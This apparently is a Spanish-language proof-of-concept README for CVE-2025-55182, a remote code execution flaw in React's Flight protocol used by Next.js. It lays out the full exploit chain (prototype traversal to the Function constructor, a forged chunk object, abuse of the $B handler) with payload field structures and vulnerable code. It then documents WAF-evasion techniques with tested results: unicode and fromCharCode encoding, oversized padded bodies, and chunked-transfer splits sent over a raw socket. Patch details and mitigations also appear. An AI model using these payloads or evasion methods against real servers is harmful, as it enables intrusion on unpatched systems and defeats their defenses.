Prueba de concepto técnica y análisis profundo de CVE-2025-55182, una vulnerabilidad crítica de RCE en el Protocolo Flight de React mediante path traversal, inyección de chunks falsos y abuso del manejador $B.
NOTA: Escrito por IA/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 es una vulnerabilidad crítica de RCE en el Flight Protocol de React. La cadena de ataque combina path traversal + inyección de chunk falso + abuso del handler $B para ejecutar Function(código_atacante).
Muchas gracias a maple3142 por la cadena de explotación funcional.
El exploit utiliza tres campos de formulario para construir un payload malicioso:
then auto-referencial (campo 1 $@0 → campo 0)_response falso con _formData.get establecido a $1:constructor:constructor$B que llama a response._formData.get(response._prefix + id)_formData.get → Function, ejecutando Function(código)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Componentes Clave
| Componente | Propósito |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable autorreferencial; el chunk 1 (`$@0`) apunta de vuelta al chunk 0 |
| `status: "resolved_model"` | Hace que el objeto parezca un chunk válido de React |
| `reason: -1` | Establece rootReference en undefined (evita conflictos de referencia) |
| `value: '{"then":"$B1337"}'` | Carga anidada que activa el controlador `$B` |
| `_response._prefix` | Contiene la cadena de código RCE |
| `_response._chunks: "$Q2"` | Map vacío para prevenir fallos durante el procesamiento de chunks |
| `_response._formData.get` | Apunta a `Function` a través de `$1:constructor:constructor` |
### Inmersión en Componentes
#### Estructura del Campo de Formulario
El exploit utiliza tres campos de formulario con referencias circulares:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)El then: "$1:__proto__:then" crea una auto-referencia que se resuelve a una función real:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Por qué esto es crítico:**
1. `then` resuelve a `Chunk.prototype.then` - una función invocable real
2. Esto hace que el objeto falso sea un thenable válido
3. Cuando se espera, JS llama a `obj.then(resolve, reject)`
4. `Chunk.prototype.then` se ejecuta con el objeto falso como `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) usa this._response - el _response falso del atacante:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Sin la autorreferencia**, el falso `_response` nunca se usaría. La autorreferencia hace que `Chunk.prototype.then` trate el objeto del atacante como un Chunk real.
#### Disparador Thenable de Dos Etapas (`value`)
El campo `value` contiene una cadena JSON anidada con otro thenable:```json
{"then":"$B1337"}
Stage 1: El then autorreferencial del objeto externo desencadena el procesamiento de fragmentos
Stage 2: Cuando React resuelve el modelo, analiza value y encuentra otro thenable con then: "$B1337". El prefijo $B desencadena el manejador:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` es `"$1:constructor:constructor"` → `getOutlinedModel()` se resuelve a `Function`.
Esto se convierte en: `Function(code + "1337")` → JS válido porque `1337` es solo una expresión final.
#### Relleno defensivo (`_chunks`)
El `_response` falso necesita una propiedad `_chunks` válida para evitar fallos:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
El código interno de React puede acceder a response._chunks.get() o response._chunks.has() durante el procesamiento. Un Map vacío satisface estas llamadas sin errores, permitiendo que la ejecución llegue al manipulador vulnerable $B.
| Ruta | Función | Propósito en el Exploit |
|---|---|---|
| Recorrido de Ruta | getOutlinedModel() | Resuelve $1:constructor:constructor → Function |
Inyección falsa de _response | initializeModelChunk() | Usa el chunk._response del atacante |
Manipulador $B | parseModelString() | Llama a _formData.get(_prefix + id) → RCE |
decodeReply() es el punto de entrada, no vulnerable en sí mismo.
Recorrido de Ruta (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Uso de Respuesta Falsa** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Manejador RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
## La solución (19.2.1)
El parche incluye múltiples correcciones:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Corrección crítica ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty check in getOutlinedModel() - Bloquea el recorrido del prototipo ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ en reviveModel() - Previene la contaminación del prototipo. ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - Valida los oyentes ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| Capacidad | Estado | Notas |
|---|---|---|
| Recorrido de la cadena de prototipos | ✓ Confirmado | Mediante $1:constructor:constructor |
| Acceso al constructor Function | ✓ Confirmado | Sin necesidad de manifiesto |
| RCE completa | ✓ Confirmado | Mediante fake chunk + manejador $B |
Esta sección explica por qué las reglas tradicionales de coincidencia de patrones del WAF no pueden detectar esta explotación de manera fiable. Comprender estas limitaciones es esencial para que los equipos de seguridad evalúen su postura defensiva.
El payload de explotación pasa a través de múltiples analizadores, cada uno con soporte de codificación diferente. Un WAF que inspecciona los bytes HTTP en bruto ve cadenas codificadas, pero el servidor las decodifica antes de procesarlas:
| Capa | Analizador | Decodifica |
|---|---|---|
| Estructura JSON | JSON.parse() | \uXXXX escapes unicode |
| Código JavaScript | Function() constructor | \uXXXX, \xXX, octal, fromCharCode() |
Esto crea un desajuste fundamental: el WAF ve bytes codificados, pero la aplicación ve cadenas decodificadas.
Un WAF ingenuo podría buscar patrones como constructor, __proto__, resolved_model o child_process. Sin embargo, JSON permite escapes unicode para cualquier carácter:
| Patrón literal | Equivalente Unicode | Detección del WAF |
|---|---|---|
constructor | \u0063onstructor | Evadido |
__proto__ | \u005f\u005fproto\u005f\u005f | Evadido |
resolved_model | \u0072esolved_model | Evadido |
$@ (ref. circular) | $\u0040 | Evadido |
El código JavaScript dentro del payload tiene aún más opciones de codificación:
| Patrón | Opciones de codificación |
|---|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, códigos de caracteres numéricos, base64 |
| Cualquier identificador | Notación de corchetes: this[S(112,114,...)] donde S=String.fromCharCode |
Cuando se combinan todas las técnicas de codificación:
\u0074\u0068\u0065\u006e para then)S(99,104,105,108,100,95,...) para child_process)Un WAF que escanea el cuerpo HTTP solo ve secuencias de escape y números, nada que coincida con las firmas de ataque tradicionales.
La cabecera Next-Action identifica las solicitudes de Server Action. Si bien los nombres de cabecera no pueden codificarse en unicode (RFC 7230 requiere tokens ASCII), las diferencias de normalización entre el WAF y el servidor crean brechas de detección:
| Variante | Comportamiento del servidor | Riesgo del WAF |
|---|---|---|
next-action (minúsculas) | Aceptado (HTTP no distingue mayúsculas/minúsculas) | No detectado si el WAF espera mayúsculas/minúsculas exactas |
Next-Action:\tx (tabulador) | Aceptado (espacios en blanco normalizados) | No detectado si el WAF espera espacio |
Next-Action: x (espacios) | Aceptado | No detectado sin normalización |
El parcheo es la única mitigación fiable. Las reglas del WAF no pueden bloquear completamente este ataque debido a la flexibilidad de codificación.
Versiones requeridas:
Si el parche se retrasa, considere:
\uXXXX, \xXX y normalizar las llamadas fromCharCode() antes de la coincidencia de patrones_response, _prefix, _chunks, o referencias circulares ($@0)next-action sin distinguir mayúsculas/minúsculas y recortando espaciosNext-ActionFunction() con argumentos de cadena dinámicosConclusión clave: La coincidencia de patrones por sí sola fallará contra esta clase de ataque. La superficie de codificación es demasiado grande para enumerar.
Incluso con reglas completas de WAF, AWS WAF tiene límites de tamaño de inspección del cuerpo que pueden ser explotados. Esta sección documenta técnicas de bypass probadas utilizando payloads sobredimensionados.
AWS WAF solo inspecciona una parte del cuerpo de la solicitud:
| Backend | Límite predeterminado | Máximo configurable |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandlingLas reglas del WAF especifican cómo manejar las solicitudes que exceden los límites de inspección:
| Configuración | Comportamiento | ¿Explotable? |
|---|---|---|
CONTINUE | Inspeccionar los bytes disponibles, evaluar la regla | Sí - el payload después del límite no se inspecciona |
MATCH | Tratar como coincidente (bloquear) | No - bloquea solicitudes sobredimensionadas |
NO_MATCH | Tratar como no coincidente | Sí - pasa a través |
Si su regla de WAF usa OversizeHandling: CONTINUE (valor predeterminado común), el bypass es trivial.
Coloque datos de relleno inofensivos antes del payload de explotación para que queden fuera de la ventana de inspección:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### Resultados de las pruebas
Todos los payloads de gran tamaño lograron RCE en Next.js:
| Tamaño de relleno | Cuerpo total | Desplazamiento del exploit | Resultado |
|-------------------|--------------|----------------------------|-----------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### Elusión de la codificación de transferencia fragmentada
La codificación de transferencia fragmentada HTTP/1.1 divide el cuerpo en fragmentos discretos. Si un WAF inspecciona los fragmentos **antes** del reensamblaje, los patrones que abarcan los límites de los fragmentos no coincidirán.
#### Cómo funciona```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
Patrón dividido entre fragmentos:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### Estrategias de fragmentación probadas
| Estrategia | Descripción | Resultado |
|----------|-------------|--------|
| Dividir en `$@` | `"$` \| `@0"` | ✅ RCE |
| Fragmentos de 10 bytes | Cuerpo dividido cada 10 bytes | ✅ RCE |
| Fragmentos de 5 bytes | Cuerpo dividido cada 5 bytes | ✅ RCE |
| Dividir en `status` | `sta` \| `tus` | ✅ RCE |
Todas las estrategias lograron RCE con éxito - Next.js reensambla correctamente las solicitudes fragmentadas.
#### Ejemplo de raw socket```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
| Tipo de WAF | Manejo de fragmentos | ¿Posible omisión? |
|---|---|---|
| AWS WAF (ALB) | Reensambla antes de la inspección | Poco probable |
| AWS WAF (CloudFront) | Reensambla antes de la inspección | Poco probable |
| Algunos WAF heredados | Inspecciona por fragmento | Sí |
| Nginx ModSecurity | Configurable | Depende de la configuración |
Nota: AWS WAF generalmente reensambla los cuerpos fragmentados antes de la inspección. Sin embargo, esto debe verificarse por entorno, ya que las configuraciones varían.
OversizeHandling a MATCH ```json
"OversizeHandling": "MATCH"
Esto bloquea cualquier solicitud que exceda el límite de inspección cuando se cumplen las condiciones de la regla.
Aumentar el límite de inspección del cuerpo (solo CloudFront/API Gateway) Configure hasta 64 KB en la configuración de la ACL web, pero esto no evita completamente la evasión.
Agregar regla de bloqueo basada en tamaño
Bloquee las solicitudes POST con el encabezado Next-Action que excedan un tamaño razonable (por ejemplo, 10 KB).
Parchear la aplicación - La única solución completa.
Vea los scripts de prueba incluidos:
test-simple.cjs - Prueba de carga útil sin fragmentación de línea basetest-oversize.cjs - Prueba tamaños de relleno de 0 a 128 KBtest-chunked-v2.cjs - Codificación de transferencia fragmentada con división $@test-chunked-bypass.cjs - Múltiples estrategias de fragmentación (5 bytes, 10 bytes, divisiones de patrón)Uso:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## Viaje de Investigación
### La Vulnerabilidad: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
Con el payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Si bien obtuvimos Function, lograr RCE requiere llamarlo con argumentos controlados. Estos caminos fallaron:
1. Ruta Thenable (Bloqueada)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction Path (Bloqueado)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. Ruta del Iterador (Bloqueado)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### El Avance
maple3142 encontró la pieza faltante: el manejador `$B` + la cadena falsa `_response`. Al hacer que `then` se resuelva en `Chunk.prototype.then` mediante autorreferencia, el `_response` falso se utiliza, permitiendo RCE.
---
## Hallazgos clave
1. **La vulnerabilidad de `getOutlinedModel()` es real** - Las rutas separadas por dos puntos permiten la travesía de la cadena de prototipos
2. **El constructor de Function es accesible** - `$1:constructor:constructor` funciona sin serverManifest
3. **RCE es alcanzable** - Al crear un fragmento falso con `_response` controlado:
- Autorreferencia `$1:__proto__:then` → `Chunk.prototype.then` hace que el `_response` falso sea utilizado
- La estructura del fragmento falso imita la clase Chunk interna de React
- `_response._formData.get` → constructor `Function`
- `_response._prefix` → cadena de código malicioso
- El manejador `$B` activa `Function(código_malicioso)`
4. **La corrección es exhaustiva** - Múltiples comprobaciones de `hasOwnProperty` y validaciones de tipo
---
## Referencias
- [Gist de maple3142](https://gist.github.com/maple3142) - Descubrimiento de la cadena RCE
- [Aviso de seguridad de React](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [PoC de msanft](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [Regla AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## Descargo de responsabilidad
Este repositorio es solo para **investigación educativa y defensiva de seguridad**. La vulnerabilidad ha sido parcheada. Actualice sus dependencias de inmediato.